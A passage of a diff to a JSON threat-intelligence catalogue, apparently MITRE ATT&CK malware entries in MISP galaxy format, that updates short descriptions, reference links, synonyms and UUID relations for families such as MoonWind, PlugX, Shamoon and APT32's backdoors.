"8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "RTM" + "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841", + "value": "RTM - S0148" }, { - "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.[[Citation: Palo Alto MoonWind March 2017]]", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)", "meta": { + "external_id": "S0149", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0149", + "https://attack.mitre.org/software/S0149", "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" ], - "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1" + "synonyms": [ + "MoonWind" + ] }, "related": [ { @@ -2321,502 +15884,6866 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "MoonWind" - }, - { - "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011.[[Citation: Cylance Dust Storm]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0083", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" - ], - "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039" - }, - "related": [ - { - "dest-uuid": "d1597713-fe7a-45bd-8b59-1a13c7e097d8", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Misdat" - }, - { - "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.[[Citation: Symantec Black Vine]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0080", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf" - ], - "uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3" - }, - "value": "Mivast" - }, - { - "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.[[Citation: Kaspersky NetTraveler]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0033", - "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" - ], - "uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e" - }, - "related": [ - { - "dest-uuid": "59b70721-6fed-4805-afa5-4ff2554bef81", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" }, { - "dest-uuid": "3a26ee44-3224-48f3-aefb-3978c972d928", + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "NetTraveler" + "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "value": "MoonWind - S0149" }, { - "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.[[Citation: Symantec Suckfly March 2016]]\n\nAliases: Nidiran, Backdoor.Nidiran", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", "meta": { + "external_id": "S0155", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0118", - "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + "https://attack.mitre.org/software/S0155", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" ], "synonyms": [ - "Nidiran", - "Backdoor.Nidiran" - ], - "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe" + "WINDSHIELD" + ] }, - "value": "Nidiran" + "related": [ + { + "dest-uuid": "a89ed72c-202d-486b-9349-6ffc0a61e30a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c", + "value": "WINDSHIELD - S0155" }, { - "description": "PlugX is a remote access tool (RAT) that uses modular plugins.[[Citation: Lastline PlugX Analysis]] It has been used by multiple threat groups.[[Citation: FireEye Clandestine Fox Part 2]][[Citation: New DragonOK]][[Citation: Dell TG-3390]]\n\nAliases: PlugX, Sogu, Kaba", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)", "meta": { + "external_id": "S0156", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0013", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", - "http://labs.lastline.com/an-analysis-of-plugx", - "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + "https://attack.mitre.org/software/S0156", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" ], "synonyms": [ - "PlugX", - "Sogu", - "Kaba" - ], - "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd" + "KOMPROGO" + ] }, "related": [ { - "dest-uuid": "663f8ef9-4c50-499a-b765-f377d23c1070", + "dest-uuid": "321e2bd3-2d98-41d6-8402-3949f514c548", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "f4b159ea-97e5-483b-854b-c48a78d562aa", + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "036bd099-fe80-46c2-9c4c-e5c6df8dcdee", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "PlugX" - }, - { - "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.[[Citation: Palo Alto DNS Requests]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0124", - "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" - ], - "uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236" - }, - "value": "Pisloader" - }, - { - "description": "Pteranodon is a custom backdoor used by Gamaredon Group.[[Citation: Palo Alto Gamaredon Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0147", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" - ], - "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd" - }, - "related": [ + "type": "uses" + }, { - "dest-uuid": "d5138738-846e-4466-830c-cd2bb6ad09cf", + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" } ], - "value": "Pteranodon" + "uuid": "7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "value": "KOMPROGO - S0156" }, { - "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.[[Citation: ESET Operation Groundbait]]", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0113", - "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + "external_id": "S0165", + "mitre_platforms": [ + "Windows" ], - "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69" - }, - "related": [ - { - "dest-uuid": "67ade442-63f2-4319-bdcd-d2564b963ed6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Prikormka" - }, - { - "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.[[Citation: Scarlet Mimic Jan 2016]]", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0078", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b" - }, - "value": "Psylo" - }, - { - "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.[[Citation: Symantec Strider Blog]]\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0125", - "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + "https://attack.mitre.org/software/S0165", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" ], "synonyms": [ - "Remsec", - "Backdoor.Remsec", - "ProjectSauron" - ], - "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8" + "OSInfo" + ] }, "related": [ { - "dest-uuid": "6a3c3fbc-97ec-4938-b64e-2679e4b73db9", + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "Remsec" - }, - { - "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.[[Citation: Kaspersky Regin]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0019", - "https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf" - ], - "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0" - }, - "related": [ - { - "dest-uuid": "0cf21558-1217-4d36-9536-2919cfd44825", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "4cbe9373-6b5e-42d0-9750-e0b7fc0d58bb", + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "Regin" - }, - { - "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.[[Citation: Palo Alto Rover]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0090", - "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" - ], - "uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38" - }, - "related": [ + "type": "uses" + }, { - "dest-uuid": "53e94bc9-c8d2-4fb6-9c02-00841e454050", + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Rover" + "uuid": "f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "value": "OSInfo - S0165" }, { - "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.[[Citation: Dell Sakula]]\n\nAliases: Sakula, Sakurel, VIPER", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", "meta": { + "external_id": "S0157", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0074", - "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + "https://attack.mitre.org/software/S0157", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" ], "synonyms": [ - "Sakula", - "Sakurel", - "VIPER" - ], - "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e" + "SOUNDBITE" + ] }, "related": [ { - "dest-uuid": "3eca2d5f-41bf-4ad4-847f-df18befcdc44", + "dest-uuid": "f5ac89a7-e129-43b7-bd68-e3cb1e5a3ba2", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "f6c137f0-979c-4ce2-a0e5-2a080a5a1746", + "dest-uuid": "f4cac204-3d3f-4bb6-84bd-fc27b2f5158c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "e88eb9b1-dc8b-4696-8dcf-0c29924d0f8b", + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Sakula" + "uuid": "9ca488bd-9587-48ef-b923-1743523e63b2", + "value": "SOUNDBITE - S0157" }, { - "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states.[[Citation: FireEye Shamoon Nov 2016]][[Citation: Palo Alto Shamoon Nov 2016]]\n\nAliases: Shamoon, Disttrack", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017)", "meta": { + "external_id": "S0185", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0140", - "https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html", - "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + "https://attack.mitre.org/software/S0185", + "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" ], "synonyms": [ - "Shamoon", - "Disttrack" - ], - "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3" + "SEASHARPEE" + ] }, "related": [ { - "dest-uuid": "776b1849-8d5b-4762-8ba1-cbbaddb4ce3a", + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Shamoon" + "uuid": "0998045d-f96e-4284-95ce-3c8219707486", + "value": "SEASHARPEE - S0185" }, { - "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.[[Citation: Alienvault Sykipot DOD Smart Cards]] The group using this malware has also been referred to as Sykipot.[[Citation: Blasco 2013]]", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0018", - "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments", - "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + "external_id": "S0158", + "mitre_platforms": [ + "Windows" ], - "uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9" - }, - "value": "Sykipot" - }, - { - "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.[[Citation: Crowdstrike DNC June 2016]][[Citation: Invincea XTunnel]][[Citation: ESET Sednit Part 2]]\n\nAliases: XTunnel, X-Tunnel, XAPS", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0117", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", - "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + "https://attack.mitre.org/software/S0158", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" ], "synonyms": [ - "XTunnel", - "X-Tunnel", - "XAPS" - ], - "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab" + "PHOREAL" + ] }, "related": [ { - "dest-uuid": "6d180bd7-3c77-4faf-b98b-dc2ab5f49101", + "dest-uuid": "f9c6da03-8cb1-4383-9d52-a614c42082bf", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "53089817-6d65-4802-a7d2-5ccc3d919b74", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "XTunnel" - }, - { - "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations.[[Citation: TrendMicro Taidoor]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0011", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" - ], - "uuid": "b143dfa4-e944-43ff-8429-bfffc308c517" - }, - "related": [ - { - "dest-uuid": "cda7d605-23d0-4f93-a585-1276f094c04a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Taidoor" - }, - { - "description": "Uroburos is a rootkit used by Turla.[[Citation: Kaspersky Turla]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0022", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" - ], - "uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4" - }, - "related": [ - { - "dest-uuid": "22332d52-c0c2-443c-9ffb-f08c0d23722c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "d674ffd2-1f27-403b-8fe9-b4af6e303e5c", + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "Uroburos" - }, - { - "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.[[Citation: Dell Wiper]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0041", - "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" - ], - "uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085" - }, - "value": "Wiper" - }, - { - "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware.[[Citation: Kaspersky Winnti April 2013]][[Citation: Microsoft Winnti Jan 2017]][[Citation: Novetta Winnti April 2015]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0141", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", - "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" - ], - "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21" - }, - "related": [ - { - "dest-uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Winnti" + "uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e", + "value": "PHOREAL - S0158" }, { - "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.[[Citation: Sophos ZeroAccess]]\n\nAliases: Zeroaccess, Trojan.Zeroaccess", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)", "meta": { + "external_id": "S0159", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0027", - "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + "https://attack.mitre.org/software/S0159", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" ], "synonyms": [ - "Zeroaccess", - "Trojan.Zeroaccess" - ], - "uuid": "552462b9-ae79-49dd-855c-5973014e157f" - }, - "value": "Zeroaccess" - }, - { - "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.[[Citation: CrowdStrike 